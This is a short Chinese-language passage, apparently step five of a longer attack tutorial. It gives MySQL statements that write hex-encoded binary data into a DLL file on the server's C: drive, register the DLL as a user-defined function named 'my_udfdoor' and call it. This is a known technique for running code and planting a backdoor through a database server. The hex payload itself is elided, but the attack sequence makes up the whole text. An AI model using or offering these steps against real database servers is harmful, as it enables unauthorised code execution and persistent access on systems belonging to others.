5.再打开另外个记事本写入如下语句: use mysql; set @a=concat('',0x...) create table Mix(data LONGBLOB); insert into Mix values("");update Mix set data = @a; select data from Mix into DUMPFILE 'c:\\my_udf.dll'; CREATE FUNCTION my_udfdoor RETURNS STRING SONAME 'c:\\my_udf.dll'; select my_udfdoor('');